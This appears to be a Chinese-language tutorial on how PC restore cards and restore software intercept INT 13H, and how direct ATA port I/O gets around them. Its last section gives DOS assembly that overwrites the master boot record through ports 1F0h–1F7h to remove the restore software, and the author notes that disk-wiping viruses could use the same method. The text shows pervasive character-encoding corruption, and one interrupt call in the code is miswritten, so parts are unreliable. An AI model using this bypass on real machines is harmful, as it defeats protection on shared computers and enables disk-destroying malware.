還原卡和還原軟件被廣泛運用于各種公共場合的電腦上,比如學(xué)校機房和網(wǎng)吧。這些還原卡和還原軟件(以下我簡稱為虛擬還原技術(shù))能夠記錄下一切對硬盤的寫操作,不論您對硬盤進(jìn)行拷貝還是移動刪除甚至是格式化分區(qū)等操作,只要一重新啟動,一切都會恢復(fù)到這個操作之前的情況,因此有些虛擬還原廠商還會在廣告詞中加上一句“可以防范一切電腦病毒”。這種虛擬還原的方法在大部分時候的確可以對公共機房的電腦起到很好的保護(hù)作用,難道真的沒有一種方法能夠穿透這種保護(hù)機制么?答案是否定的,下面請聽我一一道來。
一、虛擬還原技術(shù)的原理
本文所說的是一種普遍運用于還原卡或還原軟件上的技術(shù),當(dāng)然,不同品牌不同廠商生產(chǎn)的可能不盡相同,但原理卻是相通的。
首先,還原卡和還原軟件會搶先奪取引導(dǎo)權(quán),將原來的0頭0道1扇保存在一個其他的扇區(qū),(具體備份到那個扇區(qū)是不一定的),將自己的代碼寫入0頭0道1扇,從而能在操作系統(tǒng)之前得到執(zhí)行權(quán),這一點類似于一個引導(dǎo)型病毒;然后,我們來看看虛擬還原技術(shù)在操作系統(tǒng)之前都做了些什么:
1.將中斷向量表中的INT13H的入口地址保存;
2.把自己用于代替INT13H的代碼寫入內(nèi)存,并記住入口地址,當(dāng)然這種“寫入內(nèi)存”并不是普通的“寫”,而是一種我們稱為“常駐”的方法,有關(guān)“常駐程序”的實現(xiàn)方法我們不另外花篇幅來描述了,如果你還不了解的話請自己找有關(guān)資料,也可以www.hackart.orgwww.找風(fēng)般的男人交流;
3.將中斷向量表中INT13H的入口地址改為這段常駐程序的入口地址。補充一點,虛擬還原程序在修改INT13H的入口后往往都會修改一些其他中斷入口,當(dāng)然也是通過常駐程序來實現(xiàn)的,這些中斷用來實現(xiàn)對中斷向量表中INT13H入口地址監(jiān)控,一旦發(fā)現(xiàn)被修改,就馬上把它改回,這樣做同樣是用來防止被有心人破解。
好了,你已經(jīng)看出來了,這段用來替代BIOS提供的INT13H的代碼才是虛擬還原技術(shù)的關(guān)鍵,那么這段代碼到底實現(xiàn)了些什么了,以下是本人對此拙淺的理解:
1.?dāng)r截所有INT13H中對硬盤0頭0道1扇的操作
這些包括讀寫操作,把所有的對0頭0道1扇的操作改為對虛擬還原程序備份的那個扇區(qū)的操作,這樣做的目的是保護(hù)虛擬還原代碼不被破壞,并且不能被有心人讀出進(jìn)行破解,即使你用扇區(qū)編輯工具查看主引導(dǎo)區(qū),實際上你看到的是這個備份的主引導(dǎo)區(qū)。
2.?dāng)r截所有INT13H中的寫硬盤操作
這里包括對8G以下的硬盤的普通通過磁頭、磁道、扇區(qū)定位的INT13H中的寫操作,和擴展INT13H中基于扇區(qū)地址方式的對大硬盤的寫操作,甚至包括擴展INT13H中對一些非IDE接口的硬盤的寫操作。
至于攔截后做什么是虛擬還原技術(shù)實現(xiàn)的關(guān)鍵,在早期的DOS系統(tǒng)當(dāng)中完全可以“什么都不做”,也就是說當(dāng)用戶寫硬盤時實際上是什么都沒做,但現(xiàn)在的操作系統(tǒng)都要對硬盤進(jìn)行一些必要的寫操作,比如對虛擬內(nèi)存的寫操作。眾所周知,虛擬內(nèi)存實際上就是硬盤,而如果禁止操作系統(tǒng)寫硬盤的話顯然后果是不堪設(shè)想的。所以,大多數(shù)虛擬還原廠商用的方法是占用一些硬盤空間,把硬盤所進(jìn)行的寫操作做一個記錄,等系統(tǒng)重新啟動后還原這一記錄,但是怎樣科學(xué)記錄硬盤的寫操作,是我一直沒想通的問題,這種“科學(xué)”應(yīng)該體現(xiàn)在時間上和硬盤空間的占用量上的,也就是說怎么樣用最少的時間和最少的硬盤空間來記錄硬盤的寫操作是實現(xiàn)關(guān)鍵,如果有這方面想法的朋友歡迎和我交流;
3.備份端口70H,71H中的內(nèi)容,并把最后一次執(zhí)行時端口70H,71H的內(nèi)容和備份的內(nèi)容做比較,不一樣就提示BIOS被修改,是否還原,并通過密碼驗證修改BIOS是否合法。 二、PC機的中斷機制
中斷提供了最基本的硬件和軟件的接口,它使得程序員不必了解硬件系統(tǒng)的細(xì)節(jié),只要直接調(diào)用系統(tǒng)提供的中斷服務(wù)子程序,就可以完成相應(yīng)功能,這樣能使得程序設(shè)計更為方便。其實現(xiàn)機制如下:當(dāng)某一中斷源發(fā)出中斷請求時,CPU能夠決定是否響應(yīng)這一中斷請求(當(dāng)CPU在執(zhí)行更為重要的工作時,可以暫不響應(yīng)),如果允許響應(yīng)該中斷,CPU會在現(xiàn)行的指令執(zhí)行完后,把斷點處的下一條指令地址和各寄存器的內(nèi)容和標(biāo)志位的狀態(tài),推入堆棧進(jìn)行保護(hù),然后轉(zhuǎn)到中斷源服務(wù)程序的入口,進(jìn)行中斷處理,當(dāng)中斷處理完成后,再恢復(fù)被保留的各寄存器、標(biāo)志位狀態(tài)和指令指針,使CPU返回斷點,繼續(xù)執(zhí)行下一條指令。
為了區(qū)別各個中斷,CPC系統(tǒng)給每個中斷都分配了一個中斷號N,比如INT 3H是斷點中斷,INT 10H是顯示中斷,我們今天要討論的主要是INT 13H磁盤讀寫中斷。
要說清楚PC機上的中斷機制,用這一點篇幅是完全不夠的,這里我所說的只是一個大概,如果你不清楚的話,請查閱一些資料或和我交流,我們今天重要要說的就是以INT13H為例看看BIOS提供給我們的中斷到底都是在做什么?所謂BIOS中斷簡單說就是你機器上的BIOS提供的中斷,那么在BIOS中斷的后面,到底是些什么呢?實際上是一些對端口的輸入輸出操作,PC的每個端口都實現(xiàn)特定的功能,我們完全可以不調(diào)用BIOS提供的中斷而直接用輸入輸出指令對這些端口進(jìn)行操作,從而可以實現(xiàn)象調(diào)用BIOS中斷一樣的功能,但是一個前提是你必須對這些端口有詳細(xì)的了解。反過來說,PC的中斷系統(tǒng)的一大好處就是能夠讓程序員無須了解系統(tǒng)底層的硬件知識的而能夠編程,從這點看,中斷有點象我們平時所說的“封裝”,我不知道這樣說對不對,但的確中斷為我們“封裝”了許多系統(tǒng)底層的細(xì)節(jié)。 三、硬盤讀寫端口的具體含義
對硬盤進(jìn)行操作的常用端口是1f0h~1f7h號端口,各端口含義如下:
端口號 讀還是寫 具體含義
1F0H 讀/寫 用來傳送讀/寫的數(shù)據(jù)(其內(nèi)容是正在傳輸?shù)囊粋€字節(jié)的數(shù)據(jù))
1F1H 讀 用來讀取錯誤碼
1F2H 讀/寫 用來放入要讀寫的扇區(qū)數(shù)量
1F3H 讀/寫 用來放入要讀寫的扇區(qū)號碼
1F4H 讀/寫 用來存放讀寫柱面的低8位字節(jié)
1F5H 讀/寫 用來存放讀寫柱面的高2位字節(jié)(其高6位恒為0)
1F6H 讀/寫 用來存放要讀/寫的磁盤號及磁頭號
第7位 恒為1
第6位 恒為0
第5位 恒為1
第4位 為0代表第一塊硬盤、為1代表第二塊硬盤
第3~0位 用來存放要讀/寫的磁頭號
1f7H 讀 用來存放讀操作后的狀態(tài)
第7位 控制器忙碌
第6位 磁盤驅(qū)動器準(zhǔn)備好了
第5位 寫入錯誤
第4位 搜索完成
第3位 為1時扇區(qū)緩沖區(qū)沒有準(zhǔn)備好
第2位 是否正確讀取磁盤數(shù)據(jù)
第1位 磁盤每轉(zhuǎn)一周將此位設(shè)為1,
第0位 之前的命令因發(fā)生錯誤而結(jié)束
寫 該位端口為命令端口,用來發(fā)出指定命令
為50h 格式化磁道
為20h 嘗試讀取扇區(qū)
為21h 無須驗證扇區(qū)是否準(zhǔn)備好而直接讀扇區(qū)
為22h 嘗試讀取長扇區(qū)(用于早期的硬盤,每扇可能不是512字節(jié),而是128字節(jié)到1024之間的值)
為23h 無須驗證扇區(qū)是否準(zhǔn)備好而直接讀長扇區(qū)
為30h 嘗試寫扇區(qū)
為31h 無須驗證扇區(qū)是否準(zhǔn)備好而直接寫扇區(qū)
為32h 嘗試寫長扇區(qū)
為33h 無須驗證扇區(qū)是否準(zhǔn)備好而直接寫長扇區(qū)
注:當(dāng)然看完這個表你會發(fā)現(xiàn),這種讀寫端口的方法其實是基于磁頭、柱面、扇區(qū)的硬盤讀寫方法,不過大于8G的硬盤的讀寫方法也是通過端口1F0H~1F7H來實現(xiàn)的^_^
四、一個通過對硬盤輸入輸出端口操作來讀寫硬盤的實例
讓我們來看一個關(guān)于INT13H讀寫硬盤程序?qū)嵗T诶又性敿?xì)說明了硬盤的讀寫操作所用到的端口,并且把通過INT13H讀出的主引導(dǎo)區(qū)得到的數(shù)據(jù)和通過輸入輸出讀主引導(dǎo)區(qū)得到的數(shù)據(jù)進(jìn)行比較,從而證實這兩種操作功能相同,程序片段如下: mov dx,1f6h ; 要讀入的磁盤號及磁頭號
mov al,0a0h ;磁盤0,磁頭0
out dx,al
mov dx,1f2h ;要讀入的扇區(qū)數(shù)量
mov al,1 ;讀一個扇區(qū)
out dx,al
mov dx,1f3h ;要讀的扇區(qū)號
mov al,1 ;扇區(qū)號為1
out dx,al
mov dx,1f4h ;要讀的柱面的低8位
mov al,0 ; 柱面低8位為0
out dx,al
mov dx,1f5h ; 柱面高2位
mov al,0 ; 柱面高2位為0(通過1F4H和1F5H端口我們可以確定
; 用來讀的柱面號是0)
out dx,al
mov dx,1f7h ;命令端口
mov al,20h ; 嘗試讀取扇區(qū)
out dx,al
still_going:
in al,dx
test al,8 ;扇區(qū)緩沖是否準(zhǔn)備好
jz still_going ;如果扇區(qū)緩沖沒有準(zhǔn)備好的話則跳轉(zhuǎn),直到準(zhǔn)備好才向下執(zhí)行。
mov cx,512/2 ;設(shè)置循環(huán)次數(shù)(512/2次)
mov di,offset buffer
mov dx,1f0h ;將要傳輸?shù)囊粋€字節(jié)的數(shù)據(jù)
rep insw ;傳輸數(shù)據(jù)
; ------
mov ax,201h ;以下是用INT13H讀硬盤的0磁頭、0柱面、1扇區(qū)
mov dx,80h
mov cx,1
mov bx,offset buffer2
int 13h
mov cx,512 ;以下部分用來比較2種方法讀出的硬盤數(shù)據(jù)
mov si,offset buffer
mov di,offset buffer2
repe cmpsb
jne failure
mov ah,9
mov dx,offset readmsg
int 21h
jmp good_exit
failure:
mov ah,9
mov dx,offset failmsg
int 21h
good_exit: ;以下部分用來結(jié)束程序
mov ax,4c00h ;退出程序
int 21h
readmsg db 'The buffers match. Hard disk read using ports.$'
failmsg db 'The buffers do not match.$'
buffer db 512 dup ('V')
buffer2 db 512 dup ('L') 五、可以穿透還原卡或是還原軟件保護(hù)的代碼
你可以對照硬盤讀寫端口含義表,再好好看看上面的例子,你將會對硬盤讀寫端口有一個比較深的理解。好了,到了該把謎底揭曉的時候了,重新回到我們的主題。正如你現(xiàn)在想象的,這種可以穿透還原卡或是還原軟件保護(hù)的代碼的確是對硬盤讀寫端口的輸入輸出操作?,F(xiàn)在,我們已經(jīng)可以從原理上理解了,還原卡攔截的是中斷操作,但卻攔截不了輸入輸出操作,而用輸入輸出操作足夠可以對硬盤進(jìn)行寫操作了,當(dāng)然用輸入輸出操作也完全可以讀到被虛擬還原程序屏蔽的關(guān)鍵部分,被還原卡或是還原軟件屏蔽的0頭0道1扇。知道了這一原理以后,可能是仁者見仁智者見智的,如果你是一個虛擬還原技術(shù)的破解者、一個病毒制造者,或是虛擬還原技術(shù)的設(shè)計者,往往對此的理解都是不盡相同的。
在此強調(diào)我不贊成制造病毒,但一個病毒制造者完全可以用此原理寫出一個可以實現(xiàn)破壞裝有還原卡或還原軟件的機器了,所以我要提醒虛擬還原用戶的是,不要以為裝有還原卡或是還原軟件就掉以輕心,要知道世界上還是有病毒能夠穿透虛擬還原技術(shù)的保護(hù),達(dá)到破壞硬盤的目的的,想象一下如果把這一原理運用到CIH病毒中,或者運用到硬盤殺手病毒中,其后果是不堪設(shè)想的。
談?wù)勅绾斡眠@種可以穿透虛擬還原技術(shù)的代碼來破解還原軟件(如還原精靈)吧。以下是我寫的用來測試破解還原精靈的代碼,本代碼編譯后的程序需要在純DOS環(huán)境執(zhí)行,在DOS下我用這段代碼成功的把還原精靈給卸載了。
.286
CODE SEGMENT
ASSUME CS:CODE,DS:code,ES:code
START:
;----------------------------------------------------------
;以下代碼用INT13H讀主引導(dǎo)區(qū)
mov ax,0201h
mov dx,0080h
mov cx,0001h
mov bx,7c00h
int 13h
;---------------------------------------------------------
;以下代碼用I/O端口來寫主引導(dǎo)區(qū)
mov dx,1f6h ; 要讀入的磁盤號及磁頭號
mov al,0a0h ; 磁盤0,磁頭0
out dx,al
mov dx,1f2h ; 要寫的扇區(qū)數(shù)量
mov al,1 ; 寫一個扇區(qū)
out dx,al
mov dx,1f3h ;要寫的扇區(qū)號
mov al,1 ;寫到1扇區(qū)
out dx,al
mov dx,1f4h ; 要寫的柱面的低8位
mov al,0 ; 低8位為0
out dx,al
mov dx,1f5h ; 要寫的柱面的高2位
mov al,0 ; 高2位為0
out dx,al
mov dx,1f7h ;命令端口
mov al,30h ;嘗試著寫扇區(qū).
out dx,al
oogle:
in al,dx
test al,8 ;磁盤扇區(qū)緩沖是否準(zhǔn)備好
jz oogle
mov cx,512/2 ;設(shè)置循環(huán)次數(shù)(512/2)
mov si,7c00h
mov dx,1f0h ;數(shù)據(jù)端口,用來存放要發(fā)送的數(shù)據(jù).
rep outsw ;發(fā)送數(shù)據(jù).
; ------------------------------------------------------------------------------
;退出程序
mov ah,4ch
int 21
CODE ENDS
END START
上面的程序非常簡單,說明如下:
1、先把被還原精靈備份的原來的主引導(dǎo)區(qū)用INT13H讀出來,這里雖然是對0頭0道1扇進(jìn)行讀操作,但實際上是在讀被還原精靈把原來的主引導(dǎo)區(qū)備份進(jìn)去的那個扇區(qū);
2、把讀出的原來的主引導(dǎo)區(qū)通過輸入輸出操作寫進(jìn)真正的主引導(dǎo)區(qū),換句話說就是把還原精靈給徹底刪除了,此時重新啟動你將發(fā)現(xiàn)還原精靈已經(jīng)沒有了。
我寫了個FORWIN98/NT/XP的卸載還原精靈等軟件的程序,大家可到www.下載。
用以上的方法要實現(xiàn)還原卡的破解可能是不行的,因為還原卡畢竟是硬件,它可以先于硬盤引導(dǎo)前執(zhí)行,這樣即使你寫回了硬盤的主引導(dǎo)區(qū),還原卡還是可以把它寫回的,但是,在破解還原卡的時候,完全可以利用文章中的原理,把還原卡寫入硬盤主引導(dǎo)區(qū)的真正代碼讀出進(jìn)行分析,甚至有些還原卡的密碼就在這個扇區(qū)中。
對于還原卡和還原軟件的制造者來說,如何讓您制造的還原卡或還原軟件更安全,可能是一個需要思考的問題。真心希望以后的還原卡或是還原軟件在攔截INT13H的同時也能攔截硬盤I/O操作。
在我安裝還原精靈的時候看到一個選項是“防止硬盤I/O破壞”,開始還以為還原精靈在這方面做的不錯,想到了從攔截I/O操作來保護(hù)硬盤??上义e了,即使選擇這一個選項,也同樣可以通過輸入輸出端口操作來寫硬盤。對于掌握了這種技術(shù)的人來說,這種還原卡或是還原軟件可以說是形同虛設(shè)。因此我認(rèn)為,還原卡和還原軟件不但要實現(xiàn)攔截所有硬盤寫操作、攔截對主引導(dǎo)區(qū)的讀寫操作,更應(yīng)該攔截對硬盤的讀寫端口的操作,只有這樣的虛擬還原技術(shù)才可能使基于硬盤的讀寫端口操作所對硬盤的破壞或是對虛擬還原技術(shù)的破解變成不可能。